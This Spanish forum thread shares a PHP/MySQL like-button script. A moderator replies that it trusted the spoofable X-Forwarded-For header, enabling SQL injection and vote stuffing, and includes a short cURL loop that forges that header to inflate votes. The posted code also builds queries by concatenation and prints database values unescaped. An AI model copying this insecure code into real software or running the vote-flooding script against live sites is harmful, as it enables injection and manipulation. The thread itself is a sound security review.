elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  Sistema de boton ME GUSTA en php y mysql
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Sistema de boton ME GUSTA en php y mysql  (Leído 7,181 veces)
catriel10

Desconectado Desconectado

Mensajes: 13


Ver Perfil
Sistema de boton ME GUSTA en php y mysql
« en: 13 Abril 2013, 21:12 pm »

Buenas tardes gente, les traigo un sistema de ME GUSTA para aquellos que quieran ponerlo en su pagina.


CREAMOS LA BASE DE DATOS

Código
  1. CREATE TABLE `post` (
  2.  `id` INT(11) NOT NULL AUTO_INCREMENT,
  3.  `nombre` VARCHAR(255) COLLATE utf8_unicode_ci NOT NULL,
  4.  `megusta` INT(11) DEFAULT '0',
  5.  `ips` text COLLATE utf8_unicode_ci NOT NULL,
  6.  PRIMARY KEY  (`id`)
  7. ) ENGINE=MyISAM  DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci AUTO_INCREMENT=4 ;[/b][/LEFT]

ESTE ES EL INDEX.PHP

Código
  1. [left]<?php
  2. $dbhost = "SERVIDOR"; // Servidor
  3. $dbuser = "USUARIO"; // Nombre de usuario
  4. $dbpass = "CONTRASENA"; // Contraseña
  5. $dbname = "NOMBRE_BASE_DE_DATOS"; // Nombre de la base de datos
  6.  
  7. # Creamos conexion a la base de datos
  8. $link = mysql_connect($dbhost,$dbuser,$dbpass);
  9. mysql_select_db($dbname,$link);
  10.  
  11. # Imprimimos una prueba para dar como ejemplo
  12. $sql = "SELECT * FROM post";
  13. $query = mysql_query($sql,$link);
  14. ?>
  15. <table width="800" border="0" align="center">
  16.  <tr>
  17.    <td width="5%" align="center">ID</td>
  18.    <td width="63%" align="center">NOMBRE DEL POST</td>
  19.    <td width="32%" align="center">ME GUSTA</td>
  20.  </tr>
  21. <?php
  22. while($row = mysql_fetch_assoc($query))
  23. {?>
  24.  <tr>
  25.    <td width="5%" align="center"><?=$row['id']?></td>
  26.    <td width="63%" align="center"><?=$row['nombre']?></td>
  27.    <td width="32%" align="center">[<a href="megusta.php?voto=positivo&id=<?=$row['id']?>">Me gusta</a>] <?=$row['megusta']?> [<a href="megusta.php?voto=negativo&id=<?=$row['id']?>">No me gusta</a>]</td>
  28.  </tr>
  29. <?php
  30. }
  31. ?>
  32. </table>

POR ULTIMO DONDE SE REALIZA LA FUNCION megusta.php

Código
  1. <?php
  2. $dbhost = "SERVIDOR"; // Servidor
  3. $dbuser = "USUARIO"; // Nombre de usuario
  4. $dbpass = "CONTRASEÑA"; // Contraseña
  5. $dbname = "NOMBRE_BASE_DE_DATOS"; // Nombre de la base de datos
  6.  
  7. # Creamos conexion a la base de datos
  8. $link = mysql_connect($dbhost,$dbuser,$dbpass);
  9. mysql_select_db($dbname,$link);
  10.  
  11. # Saber si el voto es negativo o positivo
  12. $voto = htmlentities($_GET['voto']);
  13.  
  14. # Tomamos el id de nuestro post y vemos todas las ip que pusieron megusta
  15. $id = (int) $_GET['id'];
  16. $query = mysql_query("SELECT id,ips FROM post WHERE id='".$id."'",$link);
  17. $row = mysql_fetch_assoc($query);
  18. $ip = $row['ips'];
  19.  
  20. # Obtenemos la ip de nuestro visitante
  21. {
  22. $ipp = getenv('REMOTE_ADDR');
  23. }
  24.  
  25. # Me gusta o No me gusta
  26. switch($voto)
  27. {
  28. case "positivo";
  29. if($query)
  30. {
  31. $var = explode(",", $ip);
  32. $arr = in_array($ipp, $var);
  33. if(!$arr)
  34. {
  35. mysql_query("UPDATE post SET megusta=megusta+1, ips=CONCAT(post.ips,'".$ipp.",') WHERE id='".$id."'",$link);
  36. }
  37. }
  38. break;
  39. case "negativo";
  40. if($query)
  41. {
  42. $var = explode(",", $ip);
  43. $arr = in_array($ipp, $var);
  44. if(!$arr)
  45. {
  46. mysql_query("UPDATE post SET megusta=megusta-1, ips=CONCAT(post.ips,'".$ipp.",') WHERE id='".$id."'",$link);
  47. }
  48. }
  49. break;
  50. }
  51. header('location:index.php');
  52. ?>


« Última modificación: 16 Abril 2013, 20:21 pm por catriel10 » En línea

дٳŦ٭
GNU/Linux Infrastructure Specialist
Ex-Staff
*
Desconectado Desconectado

Mensajes: 5.110


Ver Perfil WWW
Re: Sistema de boton ME GUSTA en php y mysql
« Respuesta #1 en: 16 Abril 2013, 18:28 pm »

Muchas gracias por el aporte.  :)


En línea

#!drvy
Moderador
***
Desconectado Desconectado

Mensajes: 5.855



Ver Perfil WWW
Re: Sistema de boton ME GUSTA en php y mysql
« Respuesta #2 en: 16 Abril 2013, 19:34 pm »

Mencionar que el sistema es un poco inseguro en el modulo megusta.php, lineas 20-26, . La razón:

En la linea 21, compruebas si la variable $HTTP_X_FORWARDED_FOR esta vacia. Esto en una parte da a pensar que el sistema utiliza "Register Globals" que se ha demostrado que si no se usa correctamente puede ser un agujero.

Si dicha variable no llega a estar vacía (si se utiliza "Register Globals" es muy fácil de declarar), el sistema utilizara:
Código
  1. $ipp = getenv(HTTP_X_FORWARDED_FOR);

Esto tiene 2 errores.

1 - La menera correcta de declararlo seria getenv('HTTP_X_FORWARDED_FOR');. Con comillas (simples o dobles) entre el nombre. En caso de no hacerlo, PHP tira un error de Assuming.

2 - No se filtra. La cabecera X-Forwarded-For, se enviada por el cliente Por tanto, un usuario mal intencionado, puede simular la cabecera para introducir lo que el quiera. Desde IP's no existentes (999.999.999.999) hasta una inyección SQL.

Yo te recomiendo usar solo REMOTE_ADDR. Esta bien detectar el proxy pero no creo que merezca la pena perder seguridad por saber la IP real del visitante.

Un simple exploit- suponiendo que register globals esta on:
Código
  1. <?php
  2. // Url a atacar.
  3. $url = 'http://localhost/megusta.php';
  4. $id = 1;
  5. $voto = 'positivo';
  6. $veces = 100;
  7. /* ---------------------- */
  8. $url .= '?id='.$id.'&voto='.$voto.'&HTTP_X_FORWARDED_FOR=a';
  9. $ch = curl_init();
  10. curl_setopt($ch, CURLOPT_URL, $url);
  11. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  12. for ($i=0; $i<=$veces; $i++) {
  13.   // cambio de IP por cada request.
  14.   curl_setopt($ch,CURLOPT_HTTPHEADER,array('X-Forwarded-For: 999.999.999.'.$i));
  15.   // Ejecutar
  16.   $output = curl_exec($ch);
  17.   // Dormir
  18.   sleep(0.5);
  19. }
  20. echo 'Terminado';
  21. ?>

Saludos
En línea

catriel10

Desconectado Desconectado

Mensajes: 13


Ver Perfil
Re: Sistema de boton ME GUSTA en php y mysql
« Respuesta #3 en: 16 Abril 2013, 20:14 pm »

Gracias drvy | BSM, pero la verdad es que no tengo mucha idea de php y mysql, no se mucho de codigos y seguridad. Disculpa pero ahi le agrego las comillas como vos dijiste :). дٳŦ٭ gracias a vos por ver el post, saludos
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problemas con el botón “Me gusta” de Facebook
Noticias
wolfbcn 0 1,505 Último mensaje 2 Junio 2010, 21:23 pm
por wolfbcn
Botón Me Gusta. « 1 2 »
Sugerencias y dudas sobre el Foro
rdzlcs 16 7,405 Último mensaje 18 Enero 2011, 23:52 pm
por 2Fac3R
Boton Me gusta Facebook
Scripting
MaxTeel 1 3,150 Último mensaje 29 Mayo 2011, 22:06 pm
por iformas
Qué poco me gusta el botón "Me Gusta"
Noticias
wolfbcn 2 3,766 Último mensaje 20 Octubre 2011, 02:32 am
por #!drvy
MOVIDO: Sistema de boton ME GUSTA en php y mysql
Desarrollo Web
дٳŦ٭ 0 2,467 Último mensaje 16 Abril 2013, 18:28 pm
por дٳŦ٭
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines